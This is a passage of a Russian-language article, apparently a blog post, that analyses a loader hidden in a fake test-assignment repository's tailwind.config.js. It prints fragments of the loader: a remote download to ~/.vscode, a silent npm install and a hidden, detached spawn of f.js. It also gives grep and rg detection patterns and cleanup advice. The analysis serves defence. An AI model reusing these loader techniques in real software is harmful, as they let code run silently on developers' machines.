<code>~\/.vscode\/f.js<\/code>.<\/p>\n<p>\u0417\u0430\u0442\u0435\u043c \u0434\u0430\u043d\u043d\u044b\u0435 \u0441 <code>http:\/\/&lt;host&gt;:1244\/p<\/code> \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u0432 <code>~\/.vscode\/package.json<\/code>.<\/p>\n<p>\u0414\u0430\u043b\u0435\u0435 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438:<\/p>\n<pre><code>cd \"~\/.vscode\" &amp;&amp; npm i --silentnpm --prefix \"~\/.vscode\" i<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u042d\u0442\u043e \u0432\u0430\u0436\u043d\u043e: \u043a\u043e\u0434 \u043d\u0435 \u043f\u0440\u043e\u0441\u0442\u043e \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u0435\u0442 <code>f.js<\/code>, \u0430 \u0435\u0449\u0451 \u0438 \u043f\u043e\u0434\u0433\u043e\u0442\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 npm-\u043f\u0440\u043e\u0435\u043a\u0442 \u0432\u043d\u0443\u0442\u0440\u0438 \u0434\u043e\u043c\u0430\u0448\u043d\u0435\u0439 \u043f\u0430\u043f\u043a\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f. \u0422\u043e \u0435\u0441\u0442\u044c \u0441\u043e\u0437\u0434\u0430\u0451\u0442\u0441\u044f \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u044b\u0439 Node.js-\u043f\u0440\u043e\u0435\u043a\u0442 \u0432\u043d\u0435 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f. \u0414\u0430\u0436\u0435 \u0435\u0441\u043b\u0438 \u043f\u043e\u0442\u043e\u043c \u0443\u0434\u0430\u043b\u0438\u0442\u044c \u043f\u0430\u043f\u043a\u0443 \u0441 \u0442\u0435\u0441\u0442\u043e\u0432\u044b\u043c \u0437\u0430\u0434\u0430\u043d\u0438\u0435\u043c, <code>~\/.vscode\/f.js<\/code> \u0438 <code>~\/.vscode\/node_modules<\/code> \u043c\u043e\u0433\u0443\u0442 \u043e\u0441\u0442\u0430\u0442\u044c\u0441\u044f \u0432 \u0434\u043e\u043c\u0430\u0448\u043d\u0435\u0439 \u043f\u0430\u043f\u043a\u0435. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043e\u0441\u043d\u043e\u0432\u043d\u0430\u044f \u043b\u043e\u0433\u0438\u043a\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u0430 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0443\u0436\u0435 \u043d\u0435 \u0432 \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u043c \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438, \u0430 \u0432 \u0444\u0430\u0439\u043b\u0435, \u0441\u043a\u0430\u0447\u0430\u043d\u043d\u043e\u043c \u043d\u0430 \u0432\u0442\u043e\u0440\u043e\u043c \u044d\u0442\u0430\u043f\u0435.<\/p>\n<p>\u0417\u0430\u0442\u0435\u043c payload \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u0432 \u0444\u043e\u043d\u0435:<\/p>\n<pre><code>\/\/ \u043d\u0430 Windowschild_process.spawn(process.execPath, ['f.js'], {  cwd: targetDir,  stdio: 'ignore',  windowsHide: true,});\/\/ \u043d\u0430 Linux\/MacOschild_process.spawn('nohup', [process.execPath, 'f.js'], {  cwd: targetDir,  detached: true,  stdio: ['ignore', '\/dev\/null', '\/dev\/null'],});<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u0418 \u043f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043e\u0442\u0432\u044f\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043e\u0442 \u0440\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442 \u0436\u0438\u0442\u044c \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e:<\/p>\n<pre><code>child.unref();<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u0415\u0441\u0442\u044c \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u0438\u043d\u0442\u0435\u0440\u0432\u0430\u043b (10 \u043c\u0438\u043d\u0443\u0442 16 \u0441\u0435\u043a\u0443\u043d\u0434), \u0441 \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441 \u043f\u044b\u0442\u0430\u0435\u0442\u0441\u044f \u0441\u043a\u0430\u0447\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435, \u0435\u0441\u043b\u0438 \u0441\u0435\u0440\u0432\u0435\u0440 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d. \u0427\u0435\u0440\u0435\u0437 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u043f\u044b\u0442\u043e\u043a \u0438\u043d\u0442\u0435\u0440\u0432\u0430\u043b \u043e\u0447\u0438\u0449\u0430\u0435\u0442\u0441\u044f.<\/p>\n<h2>\u0427\u0442\u043e \u0436\u0435 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f?<\/h2>\n<p>\u041a\u0430\u0436\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u0435 \u0442\u0430\u043a \u043c\u043d\u043e\u0433\u043e. os.userInfo() \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0442\u0430\u043a\u043e\u0439 \u043e\u0431\u044a\u0435\u043a\u0442:<\/p>\n<pre><code>{  username: \"john\",  uid: 1000,  gid: 1000,  shell: \"\/bin\/bash\",  homedir: \"\/home\/john\"}<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u041d\u043e \u043d\u0430 \u043f\u0435\u0440\u0432\u043e\u043c \u044d\u0442\u0430\u043f\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e userInfo.username, \u0438 \u0442\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u0435\u0441\u043b\u0438 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430 macOS. \u041d\u0430 Linux\/Windows username \u043d\u0435 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f.<\/p>\n<p>\u0418 \u0445\u043e\u0442\u044f \u043a\u043e\u0434 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u043d\u0435 \u0442\u0430\u043a \u043c\u043d\u043e\u0433\u043e, \u0441\u0435\u0440\u0432\u0435\u0440 \u0432\u0441\u0451 \u0440\u0430\u0432\u043d\u043e \u0432\u0438\u0434\u0438\u0442 \u0441\u0435\u0442\u0435\u0432\u044b\u0435 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0435:<\/p>\n<ul>\n<li>\n<p>source IP address;<\/p>\n<\/li>\n<li>\n<p>\u0432\u0440\u0435\u043c\u044f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f;<\/p>\n<\/li>\n<li>\n<p>\u043f\u043e\u0440\u0442 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f;<\/p>\n<\/li>\n<li>\n<p>HTTP path;<\/p>\n<\/li>\n<li>\n<p>\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0435 HTTP headers \u043e\u0442 Node request library.<\/p>\n<\/li>\n<\/ul>\n<p>\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u043f\u0435\u0440\u0432\u044b\u0439 handshake \u0438\u0434\u0451\u0442 \u043d\u0430 <code>GET \/s\/90284f6b7643<\/code>, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u043d\u044f\u0442\u044c, \u0438\u0437 \u043a\u0430\u043a\u043e\u0433\u043e \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043f\u0440\u0438\u0448\u0451\u043b \u0437\u0430\u043f\u0443\u0441\u043a.<\/p>\n<p>\u041d\u0430 \u043f\u0435\u0440\u0432\u043e\u043c \u044d\u0442\u0430\u043f\u0435 \u043d\u0435\u0442 \u043f\u0440\u044f\u043c\u043e\u0433\u043e \u0447\u0442\u0435\u043d\u0438\u044f SSH-\u043a\u043b\u044e\u0447\u0435\u0439, .env-\u0444\u0430\u0439\u043b\u043e\u0432, cookies, browser profiles, GitHub tokens \u0438\u043b\u0438 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u0432. \u041d\u043e \u043e\u043d \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u0435\u0442 <code>f.js<\/code>, \u0432\u043d\u0443\u0442\u0440\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e, \u043f\u043e-\u0432\u0438\u0434\u0438\u043c\u043e\u043c\u0443, \u0438 \u0431\u0443\u0434\u0435\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u044c\u0441\u044f \u043e\u0441\u043d\u043e\u0432\u043d\u0430\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0430\u044f \u043b\u043e\u0433\u0438\u043a\u0430.<\/p>\n<p>\u0418\u043d\u044b\u043c\u0438 \u0441\u043b\u043e\u0432\u0430\u043c\u0438, \u0432\u0438\u0434\u0438\u043c\u044b\u0439 \u043a\u043e\u0434 \u0432 <code>tailwind.config.js<\/code> \u2013 \u044d\u0442\u043e \u043d\u0435 \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u044b\u0439 \u043f\u043e\u0445\u0438\u0442\u0438\u0442\u0435\u043b\u044c \u0434\u0430\u043d\u043d\u044b\u0445, \u0430 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a. \u041e\u043d \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u0444\u0438\u043d\u0433\u0435\u0440\u043f\u0440\u0438\u043d\u0442 \u043c\u0430\u0448\u0438\u043d\u044b \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0432\u0442\u043e\u0440\u043e\u0439 \u044d\u0442\u0430\u043f, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0443\u0436\u0435 \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u0441\u0431\u043e\u0440 \u0434\u0430\u043d\u043d\u044b\u0445.<\/p>\n<h2>\u0427\u0442\u043e \u0435\u0449\u0451 \u0431\u044b\u043b\u043e \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438?<\/h2>\n<p>\u0412 package.json \u0431\u044b\u043b\u0438 \u0442\u0430\u043a\u0438\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438:<\/p>\n<pre><code>\"child_process\": \"^1.0.2\",\"crypto\": \"^1.0.1\",\"fs\": \"^0.0.1-security\",\"path\": \"^0.12.7\"<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u042d\u0442\u043e core-\u043c\u043e\u0434\u0443\u043b\u0438 Node.js. \u0412 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u043c \u043f\u0440\u043e\u0435\u043a\u0442\u0435 \u0438\u0445 \u043d\u0435 \u0441\u0442\u0430\u0432\u044f\u0442 \u0438\u0437 npm.<\/p>\n<h2>\u041a\u0430\u043a\u0438\u0435 \u0432\u044b\u0432\u043e\u0434\u044b \u0438 \u0443\u0440\u043e\u043a\u0438?<\/h2>\n<p>\u041d\u0438\u043a\u043e\u0433\u0434\u0430 \u043d\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0439\u0442\u0435 \u0447\u0443\u0436\u043e\u0439 \u043f\u0440\u043e\u0435\u043a\u0442 \u0441\u0440\u0430\u0437\u0443. \u041e\u043f\u0430\u0441\u043d\u044b\u043c\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0434\u0430\u0436\u0435:<\/p>\n<pre><code>npm installnpm ciyarnpnpm install<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u041f\u0435\u0440\u0435\u0434 \u0437\u0430\u043f\u0443\u0441\u043a\u043e\u043c \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0439\u0442\u0435 \u043f\u043e\u0438\u0441\u043a\u0430\u0442\u044c \u043e\u043f\u0430\u0441\u043d\u044b\u0435 \u043f\u0430\u0442\u0442\u0435\u0440\u043d\u044b:<\/p>\n<pre><code>grep -RInE \\  \"child_process|execSync|spawn|eval\\(|Function\\(|atob\\(|Buffer\\.from|curl|wget|powershell|EncodedCommand|nohup|\/dev\/null|\\.vscode|AppData|os\\.homedir|os\\.userInfo|request\\(|fetch\\(|http:\/\/|https:\/\/\" \\  . \\  --exclude-dir=node_modules \\  --exclude-dir=.git \\  --exclude-dir=dist \\  --exclude-dir=build<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0439\u0442\u0435 package.json \u043d\u0430 \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438:<\/p>\n<pre><code>\"preinstall\": \"...\",\"install\": \"...\",\"postinstall\": \"...\",\"prepare\": \"...\",\"child_process\": \"...\",\"fs\": \"...\",\"path\": \"...\",\"crypto\": \"...\"<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u041a\u0430\u043a \u0443\u0436\u0435 \u0433\u043e\u0432\u043e\u0440\u0438\u043b\u043e\u0441\u044c, \u044d\u0442\u043e core-\u043c\u043e\u0434\u0443\u043b\u0438 Node.js, \u0432 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u043c \u043f\u0440\u043e\u0435\u043a\u0442\u0435 \u043e\u043d\u0438 \u043d\u0435 \u0434\u043e\u043b\u0436\u043d\u044b \u0431\u044b\u0442\u044c npm-\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438.<\/p>\n<p>\u0423\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0439\u0442\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u0442\u043e\u043b\u044c\u043a\u043e \u0441 \u043e\u0442\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u044b\u043c\u0438 lifecycle-\u0441\u043a\u0440\u0438\u043f\u0442\u0430\u043c\u0438:<\/p>\n<pre><code>npm ci --ignore-scriptsnpm install --ignore-scriptspnpm install --ignore-scriptsyarn install --ignore-scripts<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u041d\u043e \u043f\u043e\u043c\u043d\u0438\u0442\u0435, \u0444\u043b\u0430\u0433 &#8212;ignore-scripts \u0437\u0430\u0449\u0438\u0449\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0442 npm lifecycle-\u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432. \u041e\u043d \u043d\u0435 \u0437\u0430\u0449\u0438\u0442\u0438\u0442, \u0435\u0441\u043b\u0438 \u043f\u043e\u0442\u043e\u043c \u0432\u044b \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0435 <code>npm run dev<\/code>, \u0430 dev-\u0441\u0435\u0440\u0432\u0435\u0440 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 <code>tailwind.config.js<\/code>, <code>vite.config.js<\/code>, <code>webpack.config.js<\/code>, <code>nuxt.config.ts<\/code> \u0438 \u0442.\u0434. \u041d\u0435 \u0437\u0430\u0431\u044b\u0432\u0430\u0439\u0442\u0435, \u0447\u0442\u043e \u044d\u0442\u0438 \u043a\u043e\u043d\u0444\u0438\u0433\u0438 \u2013 \u044d\u0442\u043e \u043d\u0435 \u043f\u0440\u043e\u0441\u0442\u043e JSON-\u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438. \u042d\u0442\u043e JS\/TS-\u043a\u043e\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f Node.js \u0432\u043e \u0432\u0440\u0435\u043c\u044f dev\/build. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441 \u0432 \u0442\u0430\u043a\u043e\u043c \u0444\u0430\u0439\u043b\u0435 \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c\u0441\u044f \u0431\u0435\u0437 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u044f\u0432\u043d\u043e\u0433\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430.<\/p>\n<p>\u0412\u043e\u043e\u0431\u0449\u0435, \u043b\u0443\u0447\u0448\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u0447\u0443\u0436\u0438\u0435 \u043f\u0440\u043e\u0435\u043a\u0442\u044b \u043d\u0430 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0439 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u0435 \u0438\u043b\u0438 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u043c WSL \u0432 \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u0435.<\/p>\n<p>\u041d\u0435 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0439\u0442\u0435 \u0447\u0443\u0436\u043e\u0439 \u043f\u0440\u043e\u0435\u043a\u0442 \u0432 IDE \u0441\u0440\u0430\u0437\u0443 \u0432 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u043c \u0440\u0435\u0436\u0438\u043c\u0435, \u0430 \u043f\u043e\u043c\u0435\u0447\u0430\u0439\u0442\u0435 \u0435\u0433\u043e \u043a\u0430\u043a untrusted.<\/p>\n<p>\u041c\u043e\u0436\u043d\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0432 \u0447\u0443\u0436\u043e\u043c \u043f\u0440\u043e\u0435\u043a\u0442\u0435 \u0431\u044b\u0441\u0442\u0440\u044b\u0439 \u043f\u043e\u0438\u0441\u043a IP\/URL, \u0442\u0430\u043a \u043a\u0430\u043a \u0438\u0445 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0432 config-\u0444\u0430\u0439\u043b\u0430\u0445, \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u043d\u0430 \u043d\u0435\u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u043f\u043e\u0440\u0442\u0430\u0445 \u2013 \u044d\u0442\u043e \u0441\u0438\u043b\u044c\u043d\u044b\u0439 \u043a\u0440\u0430\u0441\u043d\u044b\u0439 \u0444\u043b\u0430\u0433:<\/p>\n<pre><code>rg -n \\  \"https?:\/\/|[0-9]{1,3}(\\.[0-9]{1,3}){3}|localhost|127\\.0\\.0\\.1|webhook|telegram|discord|ngrok|pastebin|gist|raw\\.githubusercontent\" \\  -g '!node_modules' \\  -g '!.git'<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043e\u0446\u0435\u043d\u0438\u0442\u0435 GitHub-\u0430\u043a\u043a\u0430\u0443\u043d\u0442, \u0441 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043a\u0430\u0447\u0430\u0435\u0442\u0435. \u041d\u0430 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0435 <a href=\"https:\/\/github.com\/Stash-Home\" rel=\"noopener noreferrer nofollow\">https:\/\/github.com\/Stash-Home<\/a> \u0432\u0438\u0434\u0435\u043d \u0441\u0442\u0440\u0430\u043d\u043d\u044b\u0439 \u043d\u0430\u0431\u043e\u0440 \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u0432: serenity, typst, fontations, zune-image, blend2d-apps, cmap-resources, covbot, learning-php \u0438 \u0442.\u0434. \u041c\u043d\u043e\u0433\u0438\u0435 \u0438\u0437 \u043d\u0438\u0445 \u0432\u044b\u0433\u043b\u044f\u0434\u044f\u0442 \u043a\u0430\u043a \u043a\u043e\u043f\u0438\u0438 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 open-source \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u0432, \u0430 \u043d\u0435 \u043a\u0430\u043a \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u043f\u0440\u043e\u0435\u043a\u0442\u044b. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, serenity \u043e\u043f\u0438\u0441\u0430\u043d \u043a\u0430\u043a \u201cThe Serenity Operating System\u201d, \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 66 605 \u043a\u043e\u043c\u043c\u0438\u0442\u043e\u0432, \u043d\u043e \u0443 \u043d\u0435\u0433\u043e \u0430\u0436 \u0446\u0435\u043b\u044b\u0445 0 \u0437\u0432\u0451\u0437\u0434 \u0438 0 \u0444\u043e\u0440\u043a\u043e\u0432. \u042d\u0442\u043e \u0434\u043e\u043b\u0436\u043d\u043e \u0432\u0430\u0441 \u043d\u0430\u0441\u0442\u043e\u0440\u043e\u0436\u0438\u0442\u044c. <\/p>\n<p>\u042f \u043d\u0435 \u043c\u043e\u0433\u0443 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0442\u044c, \u0431\u044b\u043b \u043b\u0438 \u0430\u043a\u043a\u0430\u0443\u043d\u0442 Stash-Home \u0438\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c \u0438\u043b\u0438 \u0431\u044b\u043b \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d. \u041d\u043e \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0435 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u0438 \u0432\u044b\u0433\u043b\u044f\u0434\u044f\u0442 \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e: \u043c\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0439 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u0432, \u043d\u0443\u043b\u0435\u0432\u0430\u044f \u0441\u043e\u0446\u0438\u0430\u043b\u044c\u043d\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c, \u0441\u043b\u0435\u0434\u044b \u043e\u0434\u043d\u043e\u0442\u0438\u043f\u043d\u044b\u0445 automated update-\u043a\u043e\u043c\u043c\u0438\u0442\u043e\u0432.<\/p>\n<p>\u041d\u0443 \u0438 \u043e\u0431\u0440\u0430\u0449\u0430\u0439\u0442\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430 \u0440\u0430\u0437\u043c\u0435\u0440 \u0441\u043a\u0430\u0447\u0430\u043d\u043d\u043e\u0433\u043e \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \ud83d\ude42<\/p>\n<p>\u041d\u0443 \u0430 \u0435\u0441\u043b\u0438 \u0432\u044b \u0432\u0441\u0451 \u0436\u0435 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u0442\u0430\u043a\u043e\u0439 \u043f\u0440\u043e\u0435\u043a\u0442, \u0442\u043e:<\/p>\n<ol>\n<li>\n<p>\u041e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u0435 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442 \u0438\u043b\u0438 \u0437\u0430\u043a\u0440\u043e\u0439\u0442\u0435 \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b;<\/p>\n<\/li>\n<li>\n<p>\u041f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435 <code>~\/.vscode\/f.js<\/code> \u0438 <code>~\/.vscode\/package.json<\/code>;<\/p>\n<\/li>\n<li>\n<p>\u041f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b node\/npm\/powershell\/cmd;<\/p>\n<\/li>\n<li>\n<p>\u041f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435 \u0430\u0432\u0442\u043e\u0437\u0430\u043f\u0443\u0441\u043a \u0438 scheduled tasks;<\/p>\n<\/li>\n<li>\n<p>\u0421\u043c\u0435\u043d\u0438\u0442\u0435 \u0442\u043e\u043a\u0435\u043d\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b: GitHub, GitLab, npm, SSH, cloud credentials \u0438 \u0442.\u0434.;<\/p>\n<\/li>\n<li>\n<p>\u0417\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u0435 \u043f\u043e\u043b\u043d\u0443\u044e \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0430\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u043e\u043c\/\u0437\u0430\u0449\u0438\u0442\u043d\u0438\u043a\u043e\u043c.<\/p>\n<\/li>\n<\/ol>\n<p>P.S. 